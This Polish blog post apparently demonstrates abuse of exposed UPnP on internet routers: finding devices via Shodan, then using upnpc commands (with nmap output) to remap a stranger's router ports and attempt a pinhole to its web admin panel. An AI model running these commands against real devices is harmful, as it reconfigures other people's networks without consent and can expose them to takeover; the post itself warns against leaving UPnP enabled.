NFsec Logo

Close all the things!

23/10/2016 w Ataki Internetowe, Bezpieczeństwo, Pen Test Brak komentarzy.  (artykuł nr 565, ilość słów: 993)

Z

nowu IofT dał popalić Internetowi. Jak powstrzymać te wszystkie urządzenia przed przejęciem? Hmm… najlepiej je zamknąć przed zewnętrznym dostępem. Ale jak? Co łączy wszystkie te urządzenia? Może protokół? Ale jaki? HTTP. No tak, ale nie wstrzykniemy nim przecież uwierzytelnienia. To musi być coś uniwersalnego… No tak! UPnP. Spójrzmy ile mniej więcej jest wystawionych interfejsów tego protokołu. Według shodana prawie 14 milionów (dokładnie: 13,968,198). To już daje jakieś pole do popisu. Zacznijmy od routerów.

Po krótkiej analizie wybieram grupę, która wystawia plik gatedesc.xml (ilość: 1,342,362). Możemy też nastawić się na port 49152 (ilość: 1,896,499) lub inną charakterystykę, która pogrupuje nam urządzenia. Jeśli wejdziemy bezpośrednio na urządzenie poprzez adres: http://X.X.X.X:49152 powinniśmy otrzymać błąd 404:

HTTP/1.1 404 Not Found
SERVER: Linux/2.6.21.1, UPnP/1.0, Portable SDK for UPnP devices/1.6.0
CONNECTION: close
CONTENT-LENGTH: 48
CONTENT-TYPE: text/html

Natomiast adres http://X.X.X.X:49152/gatedesc.xml da nam już więcej szczegółów:

deviceType: urn:schemas-upnp-org:device:InternetGatewayDevice:1
friendlyName: 3.5GHz - 1 Data ports CPE
manufacturer: Gemtek Inc.
manufacturerURL: http://www.gemtek.com.tw
modelDescription: WiMAX 802.16e CPE
modelName: CPE
modelNumber: ID-350(e)
UDN: uuid:75902509-bccb-40e7-8g6c-fa095ecce13f
UPC: Linux IGD
presentationURL: http://192.168.1.2

Najważniejszą informacją jest adres wewnętrzny pod którym możemy znaleźć (presentationURL) interfejs webowy danego urządzenia. Sprawdźmy jakie inne porty są dostępne z Internetu dla tego routera:

root@darkstar:~# nmap -sS X.X.X.X

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 23:37 CEST
Nmap scan report for open-routers-gonna-die.org (X.X.X.X)
Host is up (0.30s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE
53/tcp    filtered domain
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
161/tcp   filtered snmp
445/tcp   filtered microsoft-ds
593/tcp   filtered http-rpc-epmap
49152/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 23.55 seconds

No tak. Oprócz upnp najbardziej wrażliwy port (http) udostępniony jest na świat. Kwestią czasu może być złamanie hasła lub użycie standardowego zestawu. Musimy coś z tym zrobić. Na naszej maszynie do testów instalujemy mały program, który umożliwi nam rozmowę z routerem po specyfikacji UPnP/1.0:

apt-get install -y miniupnpc

Sprawdźmy czy jesteśmy w stanie się porozumieć:

root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -P
upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
upnpDiscover() error code=0
Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection
Local LAN ip address : 10.0.2.15
Presentation URL found:
            http://192.168.2.1/

Wszystko się zgadza. Zastanówmy się teraz, jak możemy zamknąć powyższe porty? Znamy wewnętrzną adresację (192.168.2.0/24) oraz który wewnętrzny port jest także otwarty (80). A, co gdybyśmy nadpisali konfigurację i przekierowali zewnętrzne porty na zamknięte / niedostępne wewnętrznego interfejsu? Spróbujmy:

root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -a 192.168.1.2 666 80 TCP
upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
upnpDiscover() error code=0
Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection
Local LAN ip address : 10.0.2.15
ExternalIPAddress = X.X.X.X
InternalIP:Port = 192.168.1.2:666
external X.X.X.X:80 TCP is redirected to internal 192.168.1.2:666 (duration=0)

Program twierdzi, że operacja została zakończona powodzeniem. Potrzebujemy jeszcze potwierdzenia od skanera:

root@darkstar:~# nmap -sS X.X.X.X

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 23:39 CEST
Nmap scan report for open-routers-gonna-die.org (X.X.X.X)
Host is up (0.38s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE
53/tcp    filtered domain
80/tcp    filtered http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
161/tcp   filtered snmp
445/tcp   filtered microsoft-ds
593/tcp   filtered http-rpc-epmap
52869/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 23.03 seconds

“Ta-dah! It’s, it’s gone”. Właśnie zdalnie “zabezpieczyliśmy” obcy router. Analogicznie zamknijmy upnp:

root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -a 192.168.1.2 666 49152 TCP
upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
upnpDiscover() error code=0
Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection
Local LAN ip address : 10.0.2.15
ExternalIPAddress = X.X.X.X
connect: Connection timed out
GetSpecificPortMappingEntry() failed with code -3 (UnknownError)

Rzeczywiście. Program zakończył się błędem, ponieważ została ucięta gałąź, na której siedzieliśmy. Potwierdźmy to jeszcze nmapem:

root@darkstar:~# nmap -sS X.X.X.X

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 23:40 CEST
Nmap scan report for open-routers-gonna-die.org (X.X.X.X)
Host is up (0.32s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE
53/tcp    filtered domain
80/tcp    filtered http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
161/tcp   filtered snmp
445/tcp   filtered microsoft-ds
593/tcp   filtered http-rpc-epmap
52869/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 28.87 seconds

Wszystkie porty zamknięte. Misja zakończona. Pewnie wielu czytelników się teraz zastanawia, a co jeśli byśmy przekierowali zewnętrzną komunikację na wewnętrzny port 80? Na przykład przekierowali 81 (Internet) na 80 (LAN), czyli otworzyli sobie drogę do interfejsu webowego urządzenia nawet, gdyby ono go nie udostępniało na świat. Z grupy przebadanych urządzeń wynika, że byśmy tylko otworzyli kolejny filtrowany port od strony Internetu:

81/tcp    filtered hosts2-ns        no-response

Aby rzeczywiście zrobić dziurę w routerze byśmy musieli użyć metody pinhole:

root:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -A X.X.X.X 81 192.168.1.2 80 TCP 3600
upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
upnpDiscover() error code=0
Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection
Local LAN ip address : 10.0.2.15
AddPinhole([X.X.X.X]:81 -> [192.168.1.2]:80) failed with code -3 (UnknownError)

Niestety metoda pinhole jest dostępna tylko dla urządzeń obsługujących Internet Gateway Device (IGD) w wersji 2.0:

root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -S
upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
upnpDiscover() error code=0
Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConn1
Local LAN ip address : 10.0.2.15
FirewallEnabled: 0 & Inbound Pinhole Allowed: 0
GetFirewallStatus:
   Firewall Enabled: No
   Inbound Pinhole Allowed: No
Bytes:   Sent: 4294967293       Recv: 4294967293
Packets: Sent: 4294967293       Recv: 4294967293

Tak, czy inaczej powyższy przykład doskonale ilustruje niebezpieczeństwo pozostawienia włączonego protokołu UPnP na urządzeniach sieciowych.

Więcej informacji: upnpc -h, Universal plug and play mapping attacks, Simple Service Discovery Protocol reflection DDoS attacks, Adventures in UPnP with cURL and netcat, Przegląd wybranych metod niwelowania ograniczeń sieci lokalnych

Kategorie K a t e g o r i e : Ataki Internetowe, Bezpieczeństwo, Pen Test

Tagi T a g i : , , , ,

Komentowanie tego wpisu jest zablokowane.